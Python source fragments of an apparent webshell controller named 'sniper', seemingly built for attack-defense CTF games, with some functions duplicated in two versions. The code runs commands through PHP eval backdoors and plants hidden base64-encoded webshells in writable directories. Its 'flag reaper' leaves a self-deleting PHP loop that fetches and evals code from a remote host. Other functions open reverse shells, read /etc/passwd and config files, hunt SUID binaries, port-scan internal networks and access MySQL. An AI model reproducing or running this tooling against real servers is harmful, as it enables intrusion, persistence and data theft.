def php_command_exec(self, function, command): try: tick = random_string(3, string.letters) token = random_string(32, string.letters) if self.method == "POST": data = { self.password: "******" + token + "';" + function + "($_POST[" + tick + "]);echo '" + token + "';", tick: command + " 2>&1" } response = requests.post(self.url, data=data) elif self.method == "GET": params = { self.password: "******" + token + "';" + function + "($_GET[" + tick + "]);echo '" + token + "';", tick: command + " 2>&1" } response = requests.get(self.url, params=params) else: return (False, "Unsupported method!") content = response.text if token in content: return (True, content.split(token)[1]) else: return (False, content) except Exception as e: Log.error(e) return (False, e)
def check_working(self, url, method, auth): Log.info("Checking whether the webshell is still work...") key = random_string(6, string.letters) value = random_string(32, string.letters) token = random_string(32, string.letters) Log.info("Using challenge key : [%s] , value : [%s]" % (key, value)) Log.info("Using token : [%s]" % (token)) method = string.upper(method) if method == "POST" or method == "REQUEST": Log.info("Using POST method...") data = { auth: 'echo "' + token + '";var_dump("$_POST[' + key + ']");echo "' + token + '";', key: value } response = requests.post(url, data=data) elif method == "GET": Log.info("Using GET method...") params = { auth: 'echo "' + token + '";var_dump("$_POST[' + key + ']");echo "' + token + '";' } url = build_url(url, params) data = {key: value} response = requests.post(url, data=data) else: Log.error("Unsupported method!") return False content = response.content Log.success("The content is :\n " + content) return value in content
def check_working(self, url, method, auth): Log.info("Checking whether the webshell is still work...") flag = random_string(32, string.letters) token = random_string(32, string.letters) Log.info("Using challenge flag : [%s]" % (flag)) Log.info("Using token : [%s]" % (token)) code = "echo '%s'; echo '%s'; echo '%s';" % (token, flag, token) result = self.php_code_exec(code) if result[0]: content = result[1] for i in content.split(token): if i == flag: return True return False '''
def auto_inject_phpfile(self, filename, webshell_content): Log.info("Auto injecting : [%s] => [%s]" % (filename, repr(webshell_content))) Log.info("Code : [%s]" % (repr(webshell_content))) Log.info("Length : [%d]" % (len(webshell_content))) Log.info("Getting writable dirs...") writable_dirs = self.get_writable_directory() urls = [] if len(writable_dirs) == 0: Log.error("No writable dirs...") return False else: for writable_dir in writable_dirs: writable_dir += "/" filename = ".%s.php" % (random_string( 16, string.letters + string.digits)) Log.info("Writing [%s] into : [%s]" % (repr(webshell_content), writable_dir)) php_code = "file_put_contents('%s',base64_decode('%s'));" % ( "%s/%s" % (writable_dir, filename), webshell_content.encode("base64").replace("\n", "")) self.php_code_exec(php_code) base_url = "%s%s" % ("".join([ "%s/" % (i) for i in self.url.split("/")[0:3] ]), writable_dir.replace("%s" % (self.webroot), "")) webshell_url = ("%s%s" % (base_url, filename)).replace( "//", "/").replace("https:/", "https://").replace("http:/", "http://") with open("Webshell.txt", "a+") as f: log_content = "%s => %s\n" % (webshell_url, repr(webshell_content)) f.write(log_content) urls.append(webshell_url) return urls
def php_code_exec_token(self, code): token = random_string(32, string.letters) code = 'echo "%s";%s;echo "%s";' % (token, code, token) result = self.php_code_exec(code) if result[0]: content = result[1] return (True, content.split(token)[1]) else: return (False, content)
def php_code_exec(self, code): # TODO : 自己实现这个函数 key = random_string(8, string.ascii_letters) god_code = "eval($_POST[%s]);" % (key) code = "@ob_start('ob_gzip');" + code + "@ob_end_flush();" try: if self.method == "POST": data = {self.password: god_code, key: code} response = requests.post(self.url, data=data) elif self.method == "GET": params = {self.password: code} response = requests.get(self.url, params=params) else: return (False, "Unsupported method!") content = response.text return (True, content) except: Log.error("The connection is aborted!") return (False, "The connection is aborted!")
def main(): banner() if len(sys.argv) != 4: show_help() exit(1) url = sys.argv[1] method = sys.argv[2] password = sys.argv[3] webshell = WebShell(url, method, password) LOCAL_COMMAND_FLAG = True if not webshell.working: Log.error("The webshell cannot work...") exit(2) main_help() while True: Log.context("sniper") context_fresh = raw_input("=>") or "h" context = string.lower(context_fresh) if context == "h" or context == "help" or context == "?": main_help() elif context == "sh" or context == "shell": shell = Shell(webshell) shell.interactive() elif context == "rsh" or context == "rshell": Log.info("socat file:`tty`,raw,echo=0 tcp-l:8888") ip = raw_input("[IP] : (%s)" % (get_ip_address())) or get_ip_address() port = raw_input("[PORT] : (8888)") or "8888" Log.info("Starting reverse shell (%s:%s)" % (ip, port)) webshell.reverse_shell(ip, port) elif context == "p" or context == "print": webshell.print_info() elif context == "pv" or context == "php_version": webshell.get_php_version() elif context == "kv" or context == "kernel_version": webshell.get_kernel_version() elif context == "c" or context == "config": Log.info("Detacting config files...") webshell.get_config_file() elif context == "fwd": webshell.get_writable_directory() elif context == "gdf": webshell.get_disabled_functions() elif context == "fwpf": webshell.get_writable_php_file() elif context == "fsb": webshell.get_suid_binaries() elif context == "setr": LOCAL_COMMAND_FLAG = False elif context == "setl": LOCAL_COMMAND_FLAG = True elif context == "dla": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) args = raw_input("Please custom find args (%s) : " % (" -size 500k")) or " -size 500k" Log.info("Using command : find %s %s" % (path, args)) webshell.download_advanced(path, args) elif context == "dl": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) if not webshell.file_exists(path): Log.error("The file [%s] is not exists on the server!" % (path)) continue if webshell.is_directory(path): Log.info( "The target file is a directory, using recursion download..." ) filename_filter = raw_input("Input --name '%s' : " % ("*.php")) or "*.php" webshell.download_recursion(path, filename_filter) else: #filename = path.split("/")[-1] #local_path = raw_input("Input local path (%s) to save the file : " % filename) or (filename) # Log.info("Using root path : [%s] to save!" % (local_path)) Log.info( "The target file is a single file, starting download...") webshell.download(path, path) elif context == "ps": hosts = raw_input( "Input hosts (192.168.1.1/24) : ") or "192.168.1.1/24" if not "/" in hosts: Log.error( "Please use the format IP/MASK , if want to scan a single host , set MASK=32" ) continue ports = raw_input("Input ports (21,22,25,80,443,445,3389)" ) or "21,22,25,80,443,445,3389" webshell.port_scan(hosts, ports) elif context == "aiw": default = random_string(0x10, string.letters) filename = raw_input("Filename (.%s.php): " % (default)) or (".%s.php" % (default)) password = raw_input("Password (%s): " % (default)) or ("%s" % (default)) webshell.auto_inject_webshell(filename, password) elif context == "r" or context == "read": filepath = raw_input( "Input file path (/etc/passwd) : ") or "/etc/passwd" webshell.read_file(filepath) elif context == "db" or context == "database": ip = raw_input("IP (127.0.0.1): ") or "127.0.0.1" username = raw_input("Username (root): ") or "root" password = raw_input("Password (root): ") or "root" Log.info("Creating connection by [%s:%s] to [%s]..." % (username, password, ip)) mysql_connection = Mysql(webshell, ip, username, password) if not mysql_connection.function: Log.error("The target server cannot support mysql!") continue if not mysql_connection.connection_flag: Log.error("Connection failed!") continue Log.success("Connection success!") if mysql_connection.function != "": Log.success("Entering database server interactive mode...") mysql_connection.interactive() else: Log.error("No supported database function!") elif context == "q" or context == "quit" or context == "exit": Log.info("Quiting...") break else: Log.error("Unsupported function!") if LOCAL_COMMAND_FLAG == True: Log.info("Executing command on localhost...") os.system(context_fresh) else: Log.info("Executing command on target server...") webshell.auto_exec_print(context_fresh)
def main(): banner() if len(sys.argv) != 4: show_help() exit(1) url = sys.argv[1] method = sys.argv[2] password = sys.argv[3] webshell = WebShell(url, method, password) LOCAL_COMMAND_FLAG = True if not webshell.working: Log.error("The webshell cannot work...") exit(2) Log.info("recording this webshell to the log file...") with open("Webshell.txt", "a+") as f: log_content = "%s => %s => %s\n" % (url, method, password) f.write(log_content) main_help() while True: Log.context("sniper") context_fresh = raw_input("=>") or "h" context = string.lower(context_fresh) if context == "h" or context == "help" or context == "?": main_help() elif context == "sh" or context == "shell": shell = Shell(webshell) shell.interactive() elif context == "rsh" or context == "rshell": Log.info("socat file:`tty`,raw,echo=0 tcp-l:8888") ip = raw_input("[IP] : (%s)" % (get_ip_address())) or get_ip_address() port = raw_input("[PORT] : (8888)") or "8888" Log.info("Starting reverse shell (%s:%s)" % (ip, port)) webshell.reverse_shell(ip, port) elif context == "p" or context == "print": webshell.print_info() elif context == "pv" or context == "php_version": Log.success(webshell.get_php_version()) elif context == "kv" or context == "kernel_version": Log.success(webshell.get_kernel_version()) elif context == "c" or context == "config": Log.info("Detacting config files...") webshell.get_config_file() elif context == "fwd": webshell.get_writable_directory() elif context == "gdf": webshell.get_disabled_functions() elif context == "fwpf": webshell.get_writable_php_file() elif context == "fsb": webshell.get_suid_binaries() elif context == "setr": LOCAL_COMMAND_FLAG = False elif context == "setl": LOCAL_COMMAND_FLAG = True elif context == "dla": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) args = raw_input("Please custom find args (%s) : " % (" -size 500k")) or " -size 500k" Log.info("Using command : find %s %s" % (path, args)) webshell.download_advanced(path, args) elif context == "dl": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) if not webshell.file_exists(path): Log.error("The file [%s] is not exists on the server!" % (path)) continue if webshell.is_directory(path): Log.info( "The target file is a directory, using recursion download..." ) filename_filter = raw_input("Input --name '%s' : " % ("*.php")) or "*.php" webshell.download_recursion(path, filename_filter) else: #filename = path.split("/")[-1] #local_path = raw_input("Input local path (%s) to save the file : " % filename) or (filename) # Log.info("Using root path : [%s] to save!" % (local_path)) Log.info( "The target file is a single file, starting download...") webshell.download(path, path) elif context == "ps": hosts = raw_input( "Input hosts (192.168.1.1/24) : ") or "192.168.1.1/24" if not "/" in hosts: Log.error( "Please use the format IP/MASK , if want to scan a single host , set MASK=32" ) continue ports = raw_input("Input ports (21,22,25,80,443,445,3389)" ) or "21,22,25,80,443,445,3389" webshell.port_scan(hosts, ports) elif context == "aiw": default_filename = random_string(0x10, string.letters) default_password = md5( md5("%s%s%s" % (salt, default_filename, salt))) filename = raw_input("Filename (.%s.php): " % (default_filename)) or (".%s.php" % (default_filename)) password = raw_input("Password (%s): " % (default_password)) or ("%s" % (default_password)) webshell.auto_inject_webshell(filename, password) elif context == "aimw": default_filename = random_string(0x10, string.letters) default_password = md5( md5("%s%s%s" % (salt, default_filename, salt))) filename = raw_input("Filename (.%s.php): " % (default_filename)) or (".%s.php" % (default_filename)) password = raw_input("Password (%s): " % (default_password)) or ("%s" % (default_password)) webshell.auto_inject_memery_webshell(filename, password) elif context == "fr": Log.info("Starting flag reaper...") webserver_host = raw_input("[IP] (%s) : " % (get_ip_address())) or get_ip_address() webserver_port = int(raw_input("[PORT] (80) : ") or "80") filename = ".%s.php" % (random_string(0x10, string.letters)) file_content = "ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);while(true){$code = file_get_contents('http://%s:%d/code.txt');eval($code);sleep(5);}" % ( webserver_host, webserver_port) Log.info("Temp memory phpfile : %s" % (file_content)) Log.info("Encoding phpfile...") file_content = '<?php unlink(__FILE__);eval(base64_decode("%s"));?>' % ( file_content.encode("base64").replace("\n", "")) Log.info("Final memory phpfile : %s" % (file_content)) result = webshell.auto_inject_flag_reaper(filename, file_content) if result: Log.success( "Please check the web server(%s:%d) log to get your flag!" % (webserver_host, webserver_port)) Log.info("Tips : tail -f /var/log/apache2/access.log") else: Log.error("Starting flag reaper failed!") elif context == "r" or context == "read": filepath = raw_input( "Input file path (/etc/passwd) : ") or "/etc/passwd" webshell.read_file(filepath) elif context == "db" or context == "database": ip = raw_input("IP (127.0.0.1): ") or "127.0.0.1" username = raw_input("Username (root): ") or "root" password = raw_input("Password (root): ") or "root" Log.info("Creating connection by [%s:%s] to [%s]..." % (username, password, ip)) mysql_connection = Mysql(webshell, ip, username, password) if not mysql_connection.function: Log.error("The target server cannot support mysql!") continue if not mysql_connection.connection_flag: Log.error("Connection failed!") continue Log.success("Connection success!") if mysql_connection.function != "": Log.success("Entering database server interactive mode...") mysql_connection.interactive() else: Log.error("No supported database function!") elif context == "q" or context == "quit" or context == "exit": Log.info("Quiting...") break else: Log.error("Unsupported function!") if LOCAL_COMMAND_FLAG == True: Log.info("Executing command on localhost...") os.system(context_fresh) else: Log.info("Executing command on target server...") webshell.auto_exec_print(context_fresh)